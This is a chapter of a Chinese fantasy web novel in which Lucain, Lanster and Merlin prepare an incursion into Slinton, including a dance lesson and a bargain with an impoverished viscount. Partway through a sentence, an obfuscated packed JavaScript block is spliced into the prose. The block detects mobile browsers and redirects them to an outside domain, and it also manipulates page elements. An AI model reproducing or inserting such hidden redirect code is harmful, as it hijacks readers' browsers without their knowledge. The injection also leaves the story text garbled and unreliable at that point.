这场会议只在中午时休息了一会,一直开到夜半才堪堪结束。
离席时,卢卡恩的声音里带上点不满。
“即使他们已经表决同意你一起前去斯林顿,但是我还是得说,你不该去。”
兰斯特站起身,与卢卡恩变得沉冷的紫色眸子对视。
此时会议室只剩下他们俩人,前方几人看出他们有话要聊已经离开。
兰斯特垂下眼睛,显出几分弱势:
“哥哥,你可以去,为什么我不能去?”
卢卡恩抱着手臂,嘴角微微扯动。
“呵,现在知道叫我哥……这没用,兰斯特,我有哪次说得不对吗?你不能去,你是统领这只队伍的团长,团长离开大部队——”
兰斯特扭头,再次确认其他人已经走远,这才重新注视着卢卡恩,语气平淡,仿佛在说今夜的天气一如往常下着小雪一般:
“上次,我看到了那些青木上……有一种类似花粉一般的东西,它们散发着莹莹的红光,在那些枯萎的青木上非常多,会随着空气飘到四周。”
“……”
“你一定知道,我在我和雪狼岭第二次联合清剿时发生在我身上的事,至少德林会告诉你你想知道的一切。我没死去……卢卡恩,就是那时候我看到了‘花粉’,它们附着在那些魅的身上。所以上次,我去确认了,那就是青木上的。”
回想起了那副骇人的画面,卢卡恩扶住作痛的额头。
“这不是你自残的理由。”
兰斯特:“……无论如何,卢卡恩,我得知道我究竟是谁,我已经有了线索,你不能阻拦我这样做。”
卢卡恩疲惫地抬起眼,盯着那双蓝得澄澈的眸子,意识到他没有半分虚假。
“和你所说的梦有关,是吗……”
他不得不长叹一声,点了点头,视线挪向窗外,雪花变大,贴在窗户上,深黑的夜色里他什么也看不清。
兰斯特向门外走去,卢卡恩的声音在他身后响起。
“父亲一直不希望你知道你的过去,那会很痛苦,不是吗?”
兰斯特:“可惜我做不到完全一无所知……”
卢卡恩:“她知道吗?”
“……她不知道。”兰斯特转过身,面对一脸无奈的卢卡恩,神色松动,带上了点恳求。
“你谁也别说。”
出了会议室,一直走到长廊的尽头,洛温等在拐角,等他经过,扬起一个短暂的笑。
“晚安,兰斯特。”
“晚安。”
望着洛温远去的身影,兰斯特弯起的嘴角回落,看着那个方向愣神。
距离他们不远的另一处长廊的拐角,梅林与西蒙并肩走着。
阿尔瓦喊住梅林,在西蒙松手后,梅林走到阿尔瓦跟前。
阿尔瓦递给他一封信,其上的字体并不是通用语,而是一种古怪的连体线条一般的文字,是斯林顿语。
“这是仆人们清理黛西成人礼晚宴时发现的,署名是……卡莱家族,我想这是给你的,今天见到你,就把它交给你了。”
梅林犹豫地接过,“谢谢您,伯爵大人。”
阿尔瓦微笑着,“放心,我并没有翻阅他人信件的习惯。”
梅林往回走,思索片刻,还是直接打开了,停在西蒙身边,不再往前走。
他的眉头皱起,随后将信重新塞了回去,抬起头时,深吸了一口气,对还未走远的阿尔瓦高声喊道:
“感谢您,伯爵大人——”
阿尔瓦有点惊讶地回过头,还没来得及说什么,梅林继续道:
“也麻烦您和他们说,我最近几日不能先教导他们,我得回一趟斯林顿。”
阿尔瓦眉头皱起,想起那些早就流传开来的舆论,意识到什么,沉重地点了点头。
只是等人走后,低声喃喃:“看来边境的管控的确放松太多……”
——
两日后,梅林来到军营的驻扎地,身后跟着从雪狼岭不知为何跟上来的班宁。
推开门,卢卡恩正吃着水果,对斯林顿的地图点着手指,对身旁一个面孔陌生的男人说着。
“是的,就是这里,他们偏向克林的口音就是从这里发源,也就是你的口音——”
他见男人目光直愣愣地看向门口,才看向门口的来人。
“啊,梅林,你回来了,身后还跟着……”
卢卡恩的眼神在一瞬间变得狠戾,近乎是从唇边挤出:“让、他、离开。”
梅林叹了一口气,神情萎靡不振。
“抱歉,卢卡恩团长,我想至少现在不能……”
那双浅色的眸子眼白上隐隐透出几分红血丝,但扶住门框的手没有丝毫颤抖,十分放松的姿态。
班宁在他身后忍不住咽了咽口水。
卢卡恩收回目光,重新看向地图,眨眨眼,脸颊上鼓起的青筋消退,重新恢复一贯的慵懒,说出的话却透着股冷硬:
“你的父亲死了。”
梅林:“……是的。”
卢卡恩笑了,一双紫色的眼睛转了过来。
“那正好——我们更需要你了。”
梅林长松一口气,眼睛垂下,转向身后,对上班宁仍然带着点害怕的目光。
“进来吧。”
这次卢卡恩没有说话。
梅林:“不介绍一下吗?”
卢卡恩吃着水果,空出一只手指,指了指对面那个亚麻色头发的男人。
“奥尔尼·马多克斯,如果你上过前线,或许你见过他的哥哥——被你父亲杀死的那个。”
梅林:“……”
奥尔尼咽了咽口水,有些紧张,无法思考清楚眼前的情况,但至少他能察觉卢卡恩的情绪似乎非常糟糕,以及梅林似乎没有那么多恶意。
他的哥哥的确死在了数年前的远征军战场上,但奥尔尼嘴角微动,还是露出一个微笑,并不好看:
“抱歉,你好,请问你的名字是?”
梅林挑眉,对他的善意态度感到惊讶,声音里依然没多少情绪,但也对眼前人点点头:
“……梅林·卡莱。”
随后,他身后的班宁也说出自己的名字。
“班宁。”
奥尔尼有些摸不着头脑:“没有姓氏?”
班宁低下头,扬起一个笑脸:“……没有。”
卢卡恩猛地将水果放下,将桌子震得发响。
“奥尔尼,你不能既记不住人的脸,又记不住人的名字!”
他起身大步离开,说了句自己要冷静冷静的低喃,留下三人面面相觑。
见此情景,班宁似乎想要开口说什么,但梅林制止了他,对同样呆立的奥尔尼道:
“卢卡恩已经都安排好了吗?”
奥尔尼愣愣地看着旋转着的门板,点点头。
——
天气难得晴朗,只是地上的积雪难以除尽,他们只好选了一处砂石更多的空地,清扫出来。
梅林的声音响起:
“斯林顿的舞曲,和你们赫利连卡的十分不相似,节奏更加轻快,通常充满小步、同时跳跃密集,十分考验舞者的肢体与默契……”
“你们四个人,有学过……随便什么舞吗?”
四人点头,梅林满意点头。
“那么,好……”
梅林举目四望,不期然对上在一旁地上蹲着,一双眼睛黏着洛温的班宁。
那家伙的红眼睛一刻不停,心思昭然若揭,简直是个十足的恶徒。
“你过来。”
班宁蹲在地上,指了指自己。
“是。”
他不情不愿走过去。
梅林:“你别乱动,跟着我走,我带着你为他们演示一遍……”
他握住班宁的手,另一只手放到他的腰上。
班宁皱眉,想逃出来:“等等,我跳女步?”
近在咫尺的梅林扫过一个冷漠的眼神,意思是,不然呢?
班宁无语凝噎,想起眼前人也跳过女步,不过是轮转到他自己身上了。
不远处,奥尔尼发出一声轻笑,被班宁敏锐地捕捉到,投去一个凶狠的瞪视。
站在他身边的苏菲露出一个古怪的笑容,随后将脸推正,说:“要是卢卡恩还在,看到肯定会很开心的。”
奥尔尼赞同地点了点头,虽然不知道为什么要赞同,但下意识觉得如此。
——
傍晚的斯林顿,卡莱侯爵的城堡内。
瑞亚坐在长桌这头,绵延的食物对面,赫然坐着刚刚将风雪甩在身后的卢卡恩。
她伸手接过从一旁递来的餐巾。
“没想到我能有幸见到您,卢卡恩·诺瑟公爵。”
卢卡恩的嘴角抽搐。
“小姑娘,重新学习一下如何恭维,至少别比你哥哥更讨人厌。”
瑞亚长长的睫毛不安地跳动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16447334|185157||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一下,意识到自己说错话了,只好借抬手掩饰,轻轻咳了一声,掩饰开场的失败。
“梅林应该和你说过,我们接下来应该要干什么,所以——”
他对上一双懵懂的眼睛。
“他和你说了什么。”
这句话让瑞亚想起她死去的父亲,那双眼睛也是这般冷漠又不耐地看着任何人,一时结巴起来。
“他和我说,他得赶紧离开,一个大人物会来到这里,告诉我将要做的一切……只是没想到是您……”
卢卡恩在斯林顿边境内的凶名早已广为流传。
卢卡恩听完闭上了眼睛,近乎自言自语地小声道:
“一切、该死,难道我还得告诉你如何管理你的领土?”
耳朵十分好的瑞亚听到了这句低语:
“不,先生,哥哥说他还会回来,我想他会重新教导我,毕竟我的父亲完全没有把我当作继承人过……当然如果您想……”
卢卡恩面上的神色让瑞亚闭上嘴。
“行了,简单来说……你直接按照我说的去做,别问为什么——你晚些时候回来的哥哥会告诉你。”
瑞亚僵住,放下手里的餐布,小声道:“好的。”
卢卡恩揉着眉心,再次抬起头时已经平静下来。
“好的,那么侯爵大人,我们现在可以开始晚餐了吗?”
“当然……”
——
几天后的侯爵城堡大厅,一位中年男性独自站着,忍不住四处张望。
屋外的寒冷已经被隔绝在外,他每看到一处细节,就忍不住暗自惊叹建筑的华贵美丽。
一位十分年老的管家走了出来,对来人微微鞠躬。
“科比特子爵,请跟我来,侯爵大人正等着您。”
子爵不敢耽误,快步上前,紧紧跟在缓慢的老管家身后。
进了屋内,却发现屋内并不只有一人,子爵忍不住看向老管家,得到一个一成不变的笑容,随后门关上,屋内,端坐在沙发正中心的瑞亚开了口。
“您好,科比特子爵,最近过得怎么样,您来时的天气可不怎么好,一定十分辛苦……”
一旁的卢卡恩皱起眉,瑞亚一僵看向他。
卢卡恩深吸一口气,换上一张笑脸,吐出一口流利的斯林顿语。
“科比特子爵大人,侯爵大人找您是有要事相商。”
子爵僵立在原处,直到这个不明来历的卢卡恩挥出手让他落座。
“可以问问,是、什么事?”
他眼睛扫向端坐正位的小姑娘,却最终落到卢卡恩的身上。
“当然是您力所能及的事。”
子爵对上那双美丽的紫色眼眸,心脏却高高悬起来,忍不住笑着点头。
“那当然、当然……”
紧接着面前这个古怪但俊美非凡的男人吐出的话让他猛地瞪大眼睛,几乎要从刚刚落座的软底沙发上跳起来。
卢卡恩:“我们需要您——女儿的身份,为此我们可以给你很多钱财、珠宝作为交换。您的妻子患上的疾病将可以得到拯救,您的小儿子不会再连新的衣物都穿不上……”
卢卡恩的斯林顿语是十分正宗的王都口音,听起来抑扬顿挫,激动人心。
子爵的手颤抖起来,低下头似乎是在思索。
接着他猛地抬起头,额头上已经沁满了汗水。
他的双眼病态地瞪大,看着卢卡恩,随后摇摆不定地又看向瑞亚。
“不、我不能、我不能这么做——”
卢卡恩皱起眉,瑞亚却紧急地接上话。
“不,子爵,我们并不是需要您女儿的性命,只是需要她的名字!”
子爵停下颤抖。
“……名字?”
“是的,只有名字。”
他瞪大的双眼缓慢松弛下来,呼吸也渐渐平稳,他看了一眼面色古怪的卢卡恩,一双眼睛带着胆怯,对瑞亚说到:
“您说名字?但科比特子爵的声望早就衰败,要它有什么用呢……”
瑞亚:“您不必知道这些……但我得和您说好,科比特这个家族在此之后得销声匿迹很久,你可以接受吗?”
子爵浑浊的眸子抬了起来,看向两人,苦笑一声。
“当然,侯爵大人,我出现在这里,就已经毫无退路了——我需要这笔钱财,除此之外,我也别无选择。”
人都活不下去,要这无用的爵位用什么作用?